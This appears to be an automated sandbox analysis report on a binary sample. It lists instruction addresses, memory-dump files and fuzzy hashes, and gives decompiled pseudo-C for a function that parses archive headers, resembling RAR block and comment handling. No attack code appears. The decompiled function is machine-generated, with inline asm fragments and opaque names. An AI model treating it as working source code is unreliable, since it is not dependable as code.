0x010f34bb
0x010f34c1
0x010f34c4
0x010f34c7
0x010f34c9
0x010f3503
0x010f3503
0x010f3505
0x010f350c
0x010f350f
0x010f3512
0x010f353c
0x010f353c
0x010f3543
0x010f3545
0x010f3548
0x010f354b
0x010f3550
0x010f3555
0x010f3557
0x010f355a
0x010f355a
0x010f3565
0x010f3572
0x010f3581
0x010f358a
0x010f3592
0x010f3599
0x010f359f
0x010f35a1
0x010f39b2
0x010f39c1
0x010f39c2
0x010f39cc
0x010f39d5
0x010f39e2
0x010f39f1
0x010f39fc
0x010f39ff
0x010f3a05
0x010f3a0b
0x010f3a0d
0x010f3a13
0x010f3a16
0x010f3a2d
0x010f3a18
0x010f3a20
0x010f3a28
0x010f3a2a
0x010f3a2a
0x010f3a33
0x010f3a3a
0x010f3a44
0x010f3a44
0x00000000
0x010f3a3c
0x010f3a3c
0x010f3a42
0x010f3a46
0x010f3a46
0x010f3a4c
0x010f3a51
0x010f3a54
0x010f3a64
0x010f3a64
0x010f3a69
0x010f3a6c
0x00000000
0x010f3a6c
0x00000000
0x010f3a42
0x010f3a3a
0x010f35a7
0x00000000
0x00000000
0x010f35ad
0x010f35b0
0x010f36f2
0x010f36fa
0x010f3709
0x010f370d
0x010f3710
0x010f3717
0x010f371e
0x010f3729
0x010f372c
0x010f3732
0x010f373b
0x010f3742
0x010f3750
0x010f375b
0x010f376a
0x010f376a
0x010f376c
0x010f3772
0x010f3778
0x010f377f
0x010f3785
0x010f3785
0x010f378b
0x010f3791
0x010f3797
0x010f379d
0x010f37a3
0x010f37a5
0x010f37ad
0x010f37ad
0x010f37af
0x00000000
0x010f37a7
0x010f37a7
0x010f37b1
0x010f37b1
0x010f37ba
0x010f37c0
0x010f37c5
0x010f37cc
0x010f37cf
0x010f37e2
0x010f37e2
0x010f37e7
0x010f37ee
0x010f37f5
0x010f37fa
0x010f3809
0x010f3809
0x010f380f
0x010f3819
0x010f3820
0x010f3829
0x010f3831
0x010f3834
0x010f3837
0x010f383a
0x010f383c
0x010f383c
0x010f384e
0x010f3862
0x010f3864
0x010f386e
0x010f3873
0x010f3879
0x010f387b
0x010f3885
0x010f3887
0x010f3889
0x010f3889
0x010f3889
0x010f3889
0x010f387d
0x010f387d
0x010f387d
0x010f3890
0x010f389a
0x010f38ac
0x010f38b2
0x010f38b6
0x010f38b9
0x010f38bf
0x010f38ca
0x010f38ca
0x010f38ca
0x00000000
0x010f38c1
0x010f38c1
0x010f38c4
0x00000000
0x00000000
0x010f38c6
0x010f38cc
0x010f38cc
0x010f38d8
0x010f38dd
0x010f38f2
0x010f38f8
0x010f3907
0x010f390c
0x010f3917
0x010f3919
0x010f391b
0x010f391b
0x010f3928
0x010f392d
0x010f393b
0x010f3940
0x010f3943
0x010f3944
0x010f3945
0x010f394a
0x010f394f
0x010f3952
0x010f395c
0x010f395c
0x010f3961
0x010f3964
0x010f3967
0x010f3979
0x010f397f
0x010f3986
0x010f3988
0x010f398a
0x010f398a
0x00000000
0x010f3969
0x010f396c
0x010f3971
0x010f3974
0x010f3977
0x010f3991
0x010f3991
0x010f3995
0x010f39a2
0x010f39a2
0x00000000
0x010f3995
0x00000000
0x010f3977
0x010f3967
0x010f38bf
0x010f37a9
0x010f37ab
0x00000000
0x00000000
0x00000000
0x010f37ab
0x010f37a5
0x010f35b6
0x010f35b9
0x010f35fa
0x010f3607
0x010f360c
0x010f3611
0x010f3613
0x010f364a
0x010f3655
0x010f3658
0x010f365e
0x010f3661
0x010f3677
0x010f367c
0x010f3683
0x010f3691
0x010f369f
0x010f36a8
0x010f36b4
0x010f36bc
0x010f36c1
0x010f36d0
0x010f36da
0x010f36dc
0x010f36dc
0x010f36de
0x010f36de
0x010f36e4
0x00000000
0x010f36e4
0x010f3663
0x010f3664
0x010f361b
0x010f361e
0x010f3620
0x010f3621
0x010f3633
0x00000000
0x010f3633
0x010f3615
0x010f3616
0x00000000
0x010f3616
0x010f35bb
0x010f35be
0x010f35c5
0x010f35d2
0x010f35de
0x010f35e6
0x010f35ed
0x010f35ed
0x00000000
0x010f35be
0x010f351c
0x010f351e
0x010f3521
0x010f3523
0x010f3526
0x010f3528
0x00000000
0x00000000
0x010f352a
0x00000000
0x00000000
0x010f3530
0x010f3536
0x00000000
0x00000000
0x00000000
0x010f3536
0x010f34cd
0x010f34d9
0x010f34e0
0x010f34e5
0x010f34e9
0x00000000
0x010f34eb
0x010f34f2
0x010f34f7
0x00000000
0x010f34f7
0x010f34e9
0x010f3406
0x010f3408
0x00000000
0x010f3408
0x010f32af
0x010f32b2
0x010f32b4
0x010f32ba
0x00000000
0x010f32ce
0x010f32d6
0x010f32df
0x010f32ec
0x00000000
0x00000000
0x010f32ff
0x010f330e
0x010f330e
0x010f3312
0x010f3314
0x010f3330
0x010f333c
0x010f3348
0x010f3354
0x010f33d0
0x010f33d0
0x00000000
0x010f3356
0x010f3356
0x010f335c
0x010f3363
0x010f3368
0x010f336d
0x00000000
0x00000000
0x010f336f
0x010f3373
0x010f3376
0x010f3377
0x010f3378
0x010f33d5
0x010f33d7
0x010f33e3
0x010f33ea
0x00000000
0x010f33ea
0x010f337a
0x010f337c
0x010f338d
0x010f3394
0x010f33bc
0x010f33c8
0x010f33ce
0x00000000
0x00000000
0x00000000
0x010f33ce
0x00000000
0x010f335c
0x010f3354
0x010f3301
0x010f3306
0x010f330c
0x00000000
0x00000000
0x00000000
0x010f330c

APIs

__EH_prolog.LIBCMT ref: 010F3276
_memcmp.LIBVCRUNTIME ref: 010F3363

Strings

CMT, xrefs: 010F3979
hc%u, xrefs: 010F3664
h%u, xrefs: 010F3616

Memory Dump Source

Source File: 00000001.00000002.679564186.00000000010F1000.00000020.00020000.sdmp, Offset: 010F0000, based on PE: true

Associated: 00000001.00000002.679551191.00000000010F0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679612934.0000000001122000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679628532.000000000112D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679640056.0000000001133000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679656706.0000000001150000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.679666218.0000000001151000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.679732756.0000000001196000.00000002.00020000.sdmp Download File

Similarity

API ID: H_prolog_memcmp
String ID: CMT$h%u$hc%u
API String ID: 3004599000-3282847064
Opcode ID: da93ed0cb1b4cc30142b15101b099da72687cbac5ca4d5a7db1501b94b80b7eb
Instruction ID: d7d0463dd600e96b069e89dfda25d759a12395d2493e2eb6dae6642e06574f66
Opcode Fuzzy Hash: da93ed0cb1b4cc30142b15101b099da72687cbac5ca4d5a7db1501b94b80b7eb
Instruction Fuzzy Hash: AD32A3715142899BEF14DF34C886AEA3BE5BF64310F04447DEECA8F682DB70A549CB60

Uniqueness

Uniqueness Score: -1.00%

Function 010F27D4, Relevance: 7.8, APIs: 3, Strings: 1, Instructions: 794
COMMONCrypto

Download Yara Rule

C-Code - Quality: 87%

			E010F27D4(intOrPtr* __ecx, void* __eflags) {
				void* __ebp;
				unsigned int _t334;
				signed int _t338;
				char _t357;
				signed short _t364;
				signed int _t369;
				signed int _t376;
				signed char _t379;
				signed char _t382;
				char _t399;
				signed int _t400;
				signed int _t404;
				signed char _t418;
				intOrPtr _t419;
				char _t420;
				signed int _t423;
				signed int _t424;
				signed char _t429;
				signed int _t432;
				signed int _t436;
				signed short _t441;
				signed short _t446;
				unsigned int _t451;
				signed int _t454;
				void* _t457;
				signed int _t459;
				signed int _t462;
				void* _t469;
				signed int _t475;
				unsigned int _t480;
				void* _t481;
				void* _t488;
				void* _t489;
				signed char _t495;
				signed int _t509;
				intOrPtr* _t523;
				signed int _t526;
				signed int _t527;
				intOrPtr* _t528;
				signed int _t536;
				signed int _t541;
				signed int _t543;
				unsigned int _t552;
				signed int _t554;
				signed int _t567;
				signed char _t569;
				signed int _t570;
				void* _t593;
				signed int _t597;
				signed int _t609;
				signed int _t611;
				signed int _t613;
				unsigned int _t620;
				signed char _t636;
				signed char _t647;
				signed int _t650;
				unsigned int _t651;
				signed int _t654;
				signed int _t655;
				signed int _t657;
				signed int _t658;
				unsigned int _t660;
				signed int _t664;
				void* _t665;
				void* _t672;
				signed int _t675;
				signed int _t676;
				signed char _t677;
				signed int _t680;
				void* _t682;
				signed int _t688;
				signed int _t689;
				void* _t695;
				signed int _t696;
				signed int _t697;
				signed int _t705;
				signed int _t706;
				intOrPtr _t709;
				void* _t710;
				signed char _t719;

				_t528 = __ecx;
				E0110E0E4(0x1121b2f, _t710);
				E0110E1C0();
				_t523 = _t528;
				 *((intOrPtr*)(_t710 + 0x20)) = _t523;
				E010FC4A5(_t710 + 0x24, _t523);
				 *((intOrPtr*)(_t710 + 0x1c)) = 0;
				 *((intOrPtr*)(_t710 - 4)) = 0;
				_t664 = 7;
				if( *(_t523 + 0x6cbc) == 0) {
					L6:
					 *((char*)(_t710 + 0x5f)) = 0;
					L7:
					_push(_t664);
					E010FC6B0();
					if( *((intOrPtr*)(_t710 + 0x3c)) != 0) {
						 *(_t523 + 0x21e4) = E010FC4EB(_t710 + 0x24) & 0x0000ffff;
						 *(_t523 + 0x21f4) = 0;
						_t688 = E010FC4D3(_t710 + 0x24) & 0x000000ff;
						_t334 = E010FC4EB(_t710 + 0x24) & 0x0000ffff;
						 *(_t523 + 0x21ec) = _t334;
						 *(_t523 + 0x21f4) = _t334 >> 0x0000000e & 0x00000001;
						_t536 = E010FC4EB(_t710 + 0x24) & 0x0000ffff;
						 *(_t523 + 0x21f0) = _t536;
						 *(_t523 + 0x21e8) = _t688;
						__eflags = _t536 - _t664;
						if(_t536 >= _t664) {
							_t689 = _t688 - 0x73;
							__eflags = _t689;
							if(_t689 == 0) {
								 *(_t523 + 0x21e8) = 1;
							} else {
								_t705 = _t689 - 1;
								__eflags = _t705;
								if(_t705 == 0) {
									 *(_t523 + 0x21e8) = 2;
								} else {
									_t706 = _t705 - 6;
									__eflags = _t706;
									if(_t706 == 0) {
										 *(_t523 + 0x21e8) = 3;
									} else {
										__eflags = _t706 == 1;
										if(_t706 == 1) {
											 *(_t523 + 0x21e8) = 5;
										}
									}
								}
							}
							_t338 =  *(_t523 + 0x21e8);
							 *(_t523 + 0x21dc) = _t338;
							__eflags = _t338 - 0x75;
							if(_t338 != 0x75) {
								__eflags = _t338 - 1;
								if(_t338 != 1) {
									L23:
									_push(_t536 - 7);
									L24:
									E010FC6B0();
									 *((intOrPtr*)(_t523 + 0x6ca8)) =  *((intOrPtr*)(_t523 + 0x6ca0)) + E010F1954(_t523,  *(_t523 + 0x21f0));
									_t541 =  *(_t523 + 0x21e8);
									asm("adc eax, 0x0");
									 *(_t523 + 0x6cac) =  *(_t523 + 0x6ca4);
									 *(_t710 + 0x50) = _t541;
									__eflags = _t541 - 1;
									if(__eflags == 0) {
										_t665 = _t523 + 0x2208;
										E010FAC0C(_t665);
										_t543 = 5;
										memcpy(_t665, _t523 + 0x21e4, _t543 << 2);
										 *(_t523 + 0x221c) = E010FC4EB(_t710 + 0x24);
										_t647 = E010FC520(_t710 + 0x24);
										 *(_t523 + 0x2220) = _t647;
										 *(_t523 + 0x6cb5) =  *(_t523 + 0x2210) & 0x00000001;
										 *(_t523 + 0x6cb4) =  *(_t523 + 0x2210) >> 0x00000003 & 0x00000001;
										_t552 =  *(_t523 + 0x2210);
										 *(_t523 + 0x6cb7) = _t552 >> 0x00000002 & 0x00000001;
										 *(_t523 + 0x6cbb) = _t552 >> 0x00000006 & 0x00000001;
										 *(_t523 + 0x6cbc) = _t552 >> 0x00000007 & 0x00000001;
										__eflags = _t647;
										if(_t647 != 0) {
											L119:
											_t357 = 1;
											__eflags = 1;
											L120:
											 *((char*)(_t523 + 0x6cb8)) = _t357;
											 *(_t523 + 0x2224) = _t552 >> 0x00000001 & 0x00000001;
											_t554 = _t552 >> 0x00000004 & 0x00000001;
											__eflags = _t554;
											 *(_t523 + 0x6cb9) = _t552 >> 0x00000008 & 0x00000001;
											 *(_t523 + 0x6cba) = _t554;
											L121:
											_t664 = 7;
											L122:
											_t364 = E010FC5D1(_t710 + 0x24, 0);
											__eflags =  *(_t523 + 0x21e4) - (_t364 & 0x0000ffff);
											if( *(_t523 + 0x21e4) == (_t364 & 0x0000ffff)) {
												L132:
												 *((intOrPtr*)(_t710 + 0x1c)) =  *((intOrPtr*)(_t710 + 0x3c));
												goto L133;
											}
											_t369 =  *(_t523 + 0x21e8);
											__eflags = _t369 - 0x79;
											if(_t369 == 0x79) {
												goto L132;
											}
											__eflags = _t369 - 0x76;
											if(_t369 == 0x76) {
												goto L132;
											}
											__eflags = _t369 - 5;
											if(_t369 != 5) {
												L130:
												 *((char*)(_t523 + 0x6cc4)) = 1;
												E010F6F5B(0x112ff50, 3);
												__eflags =  *((char*)(_t710 + 0x5f));
												if(__eflags == 0) {
													goto L132;
												}
												E010F7032(__eflags, 4, _t523 + 0x1e, _t523 + 0x1e);
												 *((char*)(_t523 + 0x6cc5)) = 1;
												goto L133;
											}
											__eflags =  *(_t523 + 0x45ae);
											if( *(_t523 + 0x45ae) == 0) {
												goto L130;
											}
											 *0x1122260();
											_t376 =  *((intOrPtr*)( *((intOrPtr*)( *_t523 + 0x14))))() - _t664;
											__eflags = _t376;
											asm("sbb edx, ecx");
											 *0x1122260(_t376, _t647, 0);
											 *((intOrPtr*)( *_t523 + 0x10))();
											 *(_t710 + 0x5e) = 1;
											do {
												_t379 = E010F98FD(_t523);
												asm("sbb al, al");
												_t382 =  !( ~_t379) &  *(_t710 + 0x5e);
												 *(_t710 + 0x5e) = _t382;
												_t664 = _t664 - 1;
												__eflags = _t664;
											} while (_t664 != 0);
											__eflags = _t382;
											if(_t382 != 0) {
												goto L132;
											}
											goto L130;
										}
										_t357 = 0;
										__eflags =  *(_t523 + 0x221c);
										if( *(_t523 + 0x221c) == 0) {
											goto L120;
										}
										goto L119;
									}
									if(__eflags <= 0) {
										L115:
										__eflags =  *(_t523 + 0x21ec) & 0x00008000;
										if(( *(_t523 + 0x21ec) & 0x00008000) != 0) {
											 *((intOrPtr*)(_t523 + 0x6ca8)) =  *((intOrPtr*)(_t523 + 0x6ca8)) + E010FC520(_t710 + 0x24);
											asm("adc dword [ebx+0x6cac], 0x0");
										}
										goto L122;
									}
									__eflags = _t541 - 3;
									if(_t541 <= 3) {
										__eflags = _t541 - 2;
										_t64 = (0 | _t541 != 0x00000002) - 1; // -1
										_t672 = (_t64 & 0xffffdcb0) + 0x45d0 + _t523;
										 *(_t710 + 0x48) = _t672;
										E010FAB72(_t672, 0);
										_t567 = 5;
										memcpy(_t672, _t523 + 0x21e4, _t567 << 2);
										_t695 =  *(_t710 + 0x48);
										_t675 =  *(_t710 + 0x50);
										_t569 =  *(_t695 + 8);
										 *(_t695 + 0x1098) =  *(_t695 + 8) & 1;
										 *(_t695 + 0x1099) = _t569 >> 0x00000001 & 1;
										 *(_t695 + 0x109b) = _t569 >> 0x00000002 & 1;
										 *(_t695 + 0x10a0) = _t569 >> 0x0000000a & 1;
										__eflags = _t675 - 2;
										if(_t675 != 2) {
											L35:
											_t650 = 0;
											__eflags = 0;
											_t399 = 0;
											L36:
											 *((char*)(_t695 + 0x10f0)) = _t399;
											__eflags = _t675 - 2;
											if(_t675 == 2) {
												L39:
												_t400 = _t650;
												L40:
												 *(_t695 + 0x10fa) = _t400;
												_t570 = _t569 & 0x000000e0;
												__eflags = _t570 - 0xe0;
												 *((char*)(_t695 + 0x10f1)) = 0 | _t570 == 0x000000e0;
												__eflags = _t570 - 0xe0;
												if(_t570 != 0xe0) {
													_t651 =  *(_t695 + 8);
													_t404 = 0x10000 << (_t651 >> 0x00000005 & 0x00000007);
													__eflags = 0x10000;
												} else {
													_t404 = _t650;
													_t651 =  *(_t695 + 8);
												}
												 *(_t695 + 0x10f4) = _t404;
												 *(_t695 + 0x10f3) = _t651 >> 0x0000000b & 0x00000001;
												 *(_t695 + 0x10f2) = _t651 >> 0x00000003 & 0x00000001;
												 *((intOrPtr*)(_t695 + 0x14)) = E010FC520(_t710 + 0x24);
												 *(_t710 + 0x54) = E010FC520(_t710 + 0x24);
												 *((char*)(_t695 + 0x18)) = E010FC4D3(_t710 + 0x24);
												 *(_t695 + 0x1070) = 2;
												 *((intOrPtr*)(_t695 + 0x1074)) = E010FC520(_t710 + 0x24);
												 *(_t710 + 0x18) = E010FC520(_t710 + 0x24);
												 *(_t695 + 0x1c) = E010FC4D3(_t710 + 0x24) & 0x000000ff;
												 *((char*)(_t695 + 0x20)) = E010FC4D3(_t710 + 0x24) - 0x30;
												 *(_t710 + 0x4c) = E010FC4EB(_t710 + 0x24) & 0x0000ffff;
												_t418 = E010FC520(_t710 + 0x24);
												_t654 =  *(_t695 + 0x1c);
												 *(_t710 + 0x58) = _t418;
												 *(_t695 + 0x24) = _t418;
												__eflags = _t654 - 0x14;
												if(_t654 < 0x14) {
													__eflags = _t418 & 0x00000010;
													if((_t418 & 0x00000010) != 0) {
														 *((char*)(_t695 + 0x10f1)) = 1;
													}
												}
												 *(_t695 + 0x109c) = 0;
												__eflags =  *(_t695 + 0x109b);
												if( *(_t695 + 0x109b) == 0) {
													L55:
													_t419 =  *((intOrPtr*)(_t695 + 0x18));
													 *(_t695 + 0x10fc) = 2;
													__eflags = _t419 - 3;
													if(_t419 == 3) {
														L59:
														 *(_t695 + 0x10fc) = 1;
														L60:
														 *(_t695 + 0x1100) = 0;
														__eflags = _t419 - 3;
														if(_t419 == 3) {
															__eflags = ( *(_t710 + 0x58) & 0x0000f000) - 0xa000;
															if(( *(_t710 + 0x58) & 0x0000f000) == 0xa000) {
																__eflags = 0;
																 *(_t695 + 0x1100) = 1;
																 *((short*)(_t695 + 0x1104)) = 0;
															}
														}
														__eflags = _t675 - 2;
														if(_t675 == 2) {
															L66:
															_t420 = 0;
															goto L67;
														} else {
															__eflags =  *(_t695 + 0x24);
															if( *(_t695 + 0x24) >= 0) {
																goto L66;
															}
															_t420 = 1;
															L67:
															 *((char*)(_t695 + 0x10f8)) = _t420;
															_t423 =  *(_t695 + 8) >> 0x00000008 & 0x00000001;
															__eflags = _t423;
															 *(_t695 + 0x10f9) = _t423;
															if(_t423 == 0) {
																__eflags =  *(_t710 + 0x54) - 0xffffffff;
																_t647 = 0;
																_t676 = 0;
																_t137 =  *(_t710 + 0x54) == 0xffffffff;
																__eflags = _t137;
																_t424 = _t423 & 0xffffff00 | _t137;
																L73:
																 *(_t695 + 0x109a) = _t424;
																 *((intOrPtr*)(_t695 + 0x1058)) = 0 +  *((intOrPtr*)(_t695 + 0x14));
																asm("adc edi, ecx");
																 *((intOrPtr*)(_t695 + 0x105c)) = _t676;
																asm("adc edx, ecx");
																 *(_t695 + 0x1060) = 0 +  *(_t710 + 0x54);
																__eflags =  *(_t695 + 0x109a);
																 *(_t695 + 0x1064) = _t647;
																if( *(_t695 + 0x109a) != 0) {
																	 *(_t695 + 0x1060) = 0x7fffffff;
																	 *(_t695 + 0x1064) = 0x7fffffff;
																}
																_t429 =  *(_t710 + 0x4c);
																_t677 = 0x1fff;
																 *(_t710 + 0x54) = 0x1fff;
																__eflags = _t429 - 0x1fff;
																if(_t429 < 0x1fff) {
																	_t677 = _t429;
																	 *(_t710 + 0x54) = _t429;
																}
																E010FC582(_t710 + 0x24, _t710 - 0x2030, _t677);
																_t432 = 0;
																__eflags =  *(_t710 + 0x50) - 2;
																 *((char*)(_t710 + _t677 - 0x2030)) = 0;
																if( *(_t710 + 0x50) != 2) {
																	 *(_t710 + 0x50) = _t695 + 0x28;
																	_t435 = E011012D6(_t710 - 0x2030, _t695 + 0x28, 0x800);
																	_t680 =  *((intOrPtr*)(_t695 + 0xc)) -  *(_t710 + 0x4c) - 0x20;
																	__eflags =  *(_t695 + 8) & 0x00000400;
																	if(( *(_t695 + 8) & 0x00000400) != 0) {
																		_t680 = _t680 - 8;
																		__eflags = _t680;
																	}
																	__eflags = _t680;
																	if(_t680 <= 0) {
																		_t681 = _t695 + 0x28;
																	} else {
																		 *(_t710 + 0x58) = _t695 + 0x1028;
																		E010F2020(_t695 + 0x1028, _t680);
																		_t469 = E010FC582(_t710 + 0x24,  *(_t695 + 0x1028), _t680);
																		_t681 = _t695 + 0x28;
																		_t435 = E01113429(_t469, _t695 + 0x28, L"RR");
																		__eflags = _t435;
																		if(_t435 == 0) {
																			__eflags =  *((intOrPtr*)(_t695 + 0x102c)) - 0x14;
																			if( *((intOrPtr*)(_t695 + 0x102c)) >= 0x14) {
																				_t682 =  *( *(_t710 + 0x58));
																				asm("cdq");
																				_t609 =  *(_t682 + 0xb) & 0x000000ff;
																				asm("cdq");
																				_t611 = (_t609 << 8) + ( *(_t682 + 0xa) & 0x000000ff);
																				asm("adc esi, edx");
																				asm("cdq");
																				_t613 = (_t611 << 8) + ( *(_t682 + 9) & 0x000000ff);
																				asm("adc esi, edx");
																				asm("cdq");
																				_t475 = (_t613 << 8) + ( *(_t682 + 8) & 0x000000ff);
																				asm("adc esi, edx");
																				 *(_t523 + 0x21c0) = _t475 << 9;
																				 *(_t523 + 0x21c4) = ((((_t647 << 0x00000020 | _t609) << 0x8 << 0x00000020 | _t611) << 0x8 << 0x00000020 | _t613) << 0x8 << 0x00000020 | _t475) << 9;
																				 *0x1122260();
																				_t480 = E010FFA2C( *(_t523 + 0x21c0),  *(_t523 + 0x21c4),  *((intOrPtr*)( *((intOrPtr*)( *_t523 + 0x14))))(), _t647);
																				 *(_t523 + 0x21c8) = _t480;
																				 *(_t710 + 0x58) = _t480;
																				_t481 = E0110E110(_t479, _t647, 0xc8, 0);
																				asm("adc edx, [ebx+0x21c4]");
																				_t435 = E010FFA2C(_t481 +  *(_t523 + 0x21c0), _t647, _t479, _t647);
																				_t620 =  *(_t710 + 0x58);
																				_t695 =  *(_t710 + 0x48);
																				_t681 =  *(_t710 + 0x50);
																				__eflags = _t435 - _t620;
																				if(_t435 > _t620) {
																					_t435 = _t620 + 1;
																					 *(_t523 + 0x21c8) = _t620 + 1;
																				}
																			}
																		}
																	}
																	_t436 = E01113429(_t435, _t681, L"CMT");
																	__eflags = _t436;
																	if(_t436 == 0) {
																		 *((char*)(_t523 + 0x6cb6)) = 1;
																	}
																} else {
																	_t681 = _t695 + 0x28;
																	 *_t681 = 0;
																	__eflags =  *(_t695 + 8) & 0x00000200;
																	if(( *(_t695 + 8) & 0x00000200) != 0) {
																		E010F6B7C(_t710);
																		_t488 = E01113470(_t710 - 0x2030);
																		_t647 =  *(_t710 + 0x54);
																		_t489 = _t488 + 1;
																		__eflags = _t647 - _t489;
																		if(_t647 > _t489) {
																			__eflags = _t489 + _t710 - 0x2030;
																			E010F6B8D(_t710, _t710 - 0x2030, _t647, _t489 + _t710 - 0x2030, _t647 - _t489, _t681, 0x800);
																		}
																		_t432 = 0;
																		__eflags = 0;
																	}
																	__eflags =  *_t681 - _t432;
																	if( *_t681 == _t432) {
																		_push(1);
																		_push(0x800);
																		_push(_t681);
																		_push(_t710 - 0x2030);
																		E010FFA82();
																	}
																	E010F207F(_t523, _t695);
																}
																__eflags =  *(_t695 + 8) & 0x00000400;
																if(( *(_t695 + 8) & 0x00000400) != 0) {
																	E010FC582(_t710 + 0x24, _t695 + 0x10a1, 8);
																}
																E01100BC0( *(_t710 + 0x18));
																__eflags =  *(_t695 + 8) & 0x00001000;
																if(( *(_t695 + 8) & 0x00001000) == 0) {
																	L112:
																	 *((intOrPtr*)(_t523 + 0x6ca8)) = E010F3E3C( *((intOrPtr*)(_t523 + 0x6ca8)),  *(_t523 + 0x6cac),  *((intOrPtr*)(_t695 + 0x1058)),  *((intOrPtr*)(_t695 + 0x105c)), 0, 0);
																	 *(_t523 + 0x6cac) = _t647;
																	 *((char*)(_t710 + 0x20)) =  *(_t695 + 0x10f2);
																	_t441 = E010FC5D1(_t710 + 0x24,  *((intOrPtr*)(_t710 + 0x20)));
																	__eflags =  *_t695 - (_t441 & 0x0000ffff);
																	if( *_t695 != (_t441 & 0x0000ffff)) {
																		 *((char*)(_t523 + 0x6cc4)) = 1;
																		E010F6F5B(0x112ff50, 1);
																		__eflags =  *((char*)(_t710 + 0x5f));
																		if(__eflags == 0) {
																			E010F7032(__eflags, 0x1c, _t523 + 0x1e, _t681);
																		}
																	}
																	goto L121;
																} else {
																	_t446 = E010FC4EB(_t710 + 0x24);
																	 *((intOrPtr*)(_t710 + 4)) = _t523 + 0x32c0;
																	 *((intOrPtr*)(_t710 + 8)) = _t523 + 0x32c8;
																	 *((intOrPtr*)(_t710 + 0xc)) = _t523 + 0x32d0;
																	__eflags = 0;
																	_t696 = 0;
																	 *((intOrPtr*)(_t710 + 0x10)) = 0;
																	_t451 = _t446 & 0x0000ffff;
																	 *(_t710 + 0x4c) = 0;
																	 *(_t710 + 0x58) = _t451;
																	do {
																		_t593 = 3;
																		_t526 = _t451 >> _t593 - _t696 << 2;
																		__eflags = _t526 & 0x00000008;
																		if((_t526 & 0x00000008) == 0) {
																			goto L110;
																		}
																		__eflags =  *(_t710 + 4 + _t696 * 4);
																		if( *(_t710 + 4 + _t696 * 4) == 0) {
																			goto L110;
																		}
																		__eflags = _t696;
																		if(__eflags != 0) {
																			E01100BC0(E010FC520(_t710 + 0x24));
																		}
																		E011009EA( *(_t710 + 4 + _t696 * 4), _t647, __eflags, _t710 - 0x30);
																		__eflags = _t526 & 0x00000004;
																		if((_t526 & 0x00000004) != 0) {
																			_t249 = _t710 - 0x1c;
																			 *_t249 =  *(_t710 - 0x1c) + 1;
																			__eflags =  *_t249;
																		}
																		_t597 = 0;
																		 *(_t710 - 0x18) = 0;
																		_t527 = _t526 & 0x00000003;
																		__eflags = _t527;
																		if(_t527 <= 0) {
																			L109:
																			_t454 = _t597 * 0x64;
																			__eflags = _t454;
																			 *(_t710 - 0x18) = _t454;
																			E01100C1E( *(_t710 + 4 + _t696 * 4), _t647, _t710 - 0x30);
																			_t451 =  *(_t710 + 0x58);
																		} else {
																			_t457 = 3;
																			_t459 = _t457 - _t527 << 3;
																			__eflags = _t459;
																			 *(_t710 + 0x18) = _t459;
																			_t697 = _t459;
																			do {
																				_t462 = (E010FC4D3(_t710 + 0x24) & 0x000000ff) << _t697;
																				_t697 = _t697 + 8;
																				_t597 =  *(_t710 - 0x18) | _t462;
																				 *(_t710 - 0x18) = _t597;
																				_t527 = _t527 - 1;
																				__eflags = _t527;
																			} while (_t527 != 0);
																			_t696 =  *(_t710 + 0x4c);
																			goto L109;
																		}
																		L110:
																		_t696 = _t696 + 1;
																		 *(_t710 + 0x4c) = _t696;
																		__eflags = _t696 - 4;
																	} while (_t696 < 4);
																	_t523 =  *((intOrPtr*)(_t710 + 0x20));
																	_t695 =  *(_t710 + 0x48);
																	goto L112;
																}
															}
															_t676 = E010FC520(_t710 + 0x24);
															_t495 = E010FC520(_t710 + 0x24);
															__eflags =  *(_t710 + 0x54) - 0xffffffff;
															_t647 = _t495;
															if( *(_t710 + 0x54) != 0xffffffff) {
																L71:
																_t424 = 0;
																goto L73;
															}
															__eflags = _t647 - 0xffffffff;
															if(_t647 != 0xffffffff) {
																goto L71;
															}
															_t424 = 1;
															goto L73;
														}
													}
													__eflags = _t419 - 5;
													if(_t419 == 5) {
														goto L59;
													}
													__eflags = _t419 - 6;
													if(_t419 < 6) {
														 *(_t695 + 0x10fc) = 0;
													}
													goto L60;
												} else {
													_t655 = _t654 - 0xd;
													__eflags = _t655;
													if(_t655 == 0) {
														 *(_t695 + 0x109c) = 1;
														goto L55;
													}
													_t657 = _t655;
													__eflags = _t657;
													if(_t657 == 0) {
														 *(_t695 + 0x109c) = 2;
														goto L55;
													}
													_t658 = _t657 - 5;
													__eflags = _t658;
													if(_t658 == 0) {
														L52:
														 *(_t695 + 0x109c) = 3;
														goto L55;
													}
													__eflags = _t658 == 6;
													if(_t658 == 6) {
														goto L52;
													}
													 *(_t695 + 0x109c) = 4;
													goto L55;
												}
											}
											__eflags = _t569 & 0x00000010;
											if((_t569 & 0x00000010) == 0) {
												goto L39;
											}
											_t400 = 1;
											goto L40;
										}
										__eflags = _t569 & 0x00000010;
										if((_t569 & 0x00000010) == 0) {
											goto L35;
										} else {
											_t399 = 1;
											_t650 = 0;
											goto L36;
										}
									}
									__eflags = _t541 - 5;
									if(_t541 != 5) {
										goto L115;
									} else {
										memcpy(_t523 + 0x4590, _t523 + 0x21e4, _t541 << 2);
										_t660 =  *(_t523 + 0x4598);
										 *(_t523 + 0x45ac) =  *(_t523 + 0x4598) & 0x00000001;
										_t636 = _t660 >> 0x00000001 & 0x00000001;
										_t647 = _t660 >> 0x00000003 & 0x00000001;
										 *(_t523 + 0x45ad) = _t636;
										 *(_t523 + 0x45ae) = _t660 >> 0x00000002 & 0x00000001;
										 *(_t523 + 0x45af) = _t647;
										__eflags = _t636;
										if(_t636 != 0) {
											 *((intOrPtr*)(_t523 + 0x45a4)) = E010FC520(_t710 + 0x24);
										}
										__eflags =  *(_t523 + 0x45af);
										if( *(_t523 + 0x45af) != 0) {
											_t509 = E010FC4EB(_t710 + 0x24) & 0x0000ffff;
											 *(_t523 + 0x45a8) = _t509;
											 *(_t523 + 0x6cd8) = _t509;
										}
										goto L121;
									}
								}
								__eflags =  *(_t523 + 0x21ec) & 0x00000002;
								if(( *(_t523 + 0x21ec) & 0x00000002) != 0) {
									goto L20;
								}
								goto L23;
							}
							L20:
							_push(6);
							goto L24;
						} else {
							E010F203A(_t523);
							L133:
							E010F15D1(_t710 + 0x24);
							 *[fs:0x0] =  *((intOrPtr*)(_t710 - 0xc));
							return  *((intOrPtr*)(_t710 + 0x1c));
						}
					}
					L8:
					E010F3F40(_t523, _t647);
					goto L133;
				}
